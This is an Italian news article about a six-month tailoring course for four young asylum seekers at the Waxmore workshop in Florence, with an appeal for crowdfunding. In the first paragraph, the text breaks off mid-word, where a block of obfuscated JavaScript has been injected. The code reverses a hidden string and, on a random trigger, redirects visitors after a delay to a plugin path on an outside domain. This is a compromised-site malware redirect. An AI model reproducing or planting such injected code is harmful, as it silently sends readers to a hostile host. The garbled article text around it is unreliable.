“Voglio fare il sarto”, un progetto da sostenere

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Samba, Youssif, Kajally e Ousman sono quattro giovani africani, sbarcati in Italia molti mesi fa e da allora “ospiti” di centri di accoglienza. Hanno fatto dom (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anda di asilo, ma ci vorrà molto tempo prima che ne conoscano l’esito, prima di sapere se potranno costruirsi un futuro nel nostro paese o dovranno invece tornare indietro. In questo lungo limbo di inattività e incertezza che li attende, per loro come per centinaia di altri profughi “il rischio maggiore è quello di smarrire il senso e l’obiettivo del viaggio, di non riconoscersi più come persone dotate di talenti e capacità”.

Ne è convinta Maria Cristina Manca, antropologa, stilista, attivista con Medici Senza Frontiere, che ha cucito insieme le sue tante passioni per creare Waxmore, ditta artigianale e laboratorio di sartoria a Firenze. E si è inventata un corso di formazione di moda, taglio e cucito per richiedenti asilo dove si imparano le tecniche italiane, i termini, l’uso dei cartamodelli, ma anche a capire le tendenze moda e sviluppare la propria creatività. Insomma tutto ciò che un domani potrà essere utile per lavorare come sarti, qui o altrove.

“Sono 800 ore tra teoria e pratica, in tutto 6 mesi di un percorso impegnativo che i ragazzi stanno affrontando con entusiasmo – racconta Maria Cristina. Abbiamo iniziato a febbraio dopo una selezione degli aspiranti, dando la precedenza a chi aveva già delle nozioni di base e conosceva discretamente la lingua italiana. Tre su quattro erano già sarti al loro paese, dove si lavora in modo molto diverso, “espresso”: al mercato si sceglie la pezza tra le tante presenti, tutte diverse, poi si va al banco del sarto e si ordina l’abito, che in poche ore viene tagliato e cucito, senza modello”.

Così, tre giorni alla settimana e due sabati al mese, Samba, Youssif, Kajally e Ousman prendono treno e autobus per passare la giornata nel laboratorio Waxmore. Il nome nasce dall’unione della parola “wax”, che indica i tipici tessuti africani con disegni coloratissimi, e “more”, ovvero di più. Infatti le creazioni Waxmore mescolano tessuti italiani a tinta unita e tessuti wax per tornare a un concetto di unicità: unico il capo (come lo è la stoffa utilizzata), uniche le mani che lo lavorano, unico il progetto e unico chi lo indossa, con il proprio e personale stile.

Finora Maria Cristina ha fatto tutto da sola, ma da qualche giorno è attivo su Eppela un crowdfunding per sostenere i costi del progetto – materiali, macchine da cucire, docenti, spese generali. “Solo con il supporto di donazioni private sarà possibile concretizzare le altre idee che abbiamo, come la collaborazione con il liceo artistico di Montemurlo o con il Museo del Tessuto di Prato. Se raggiungiamo la prima tappa di 5mila euro, gli altri 5mila li metterà la Fondazione Il cuore si scioglie”.

Fino al 22 aprile è possibile contribuire con una donazione per sostenere il progetto “Voglio fare il sarto” e aggiudicarsi una delle colorate “ricompense” Waxmore.

www.eppela.com/vogliofareilsarto

(c.s.)

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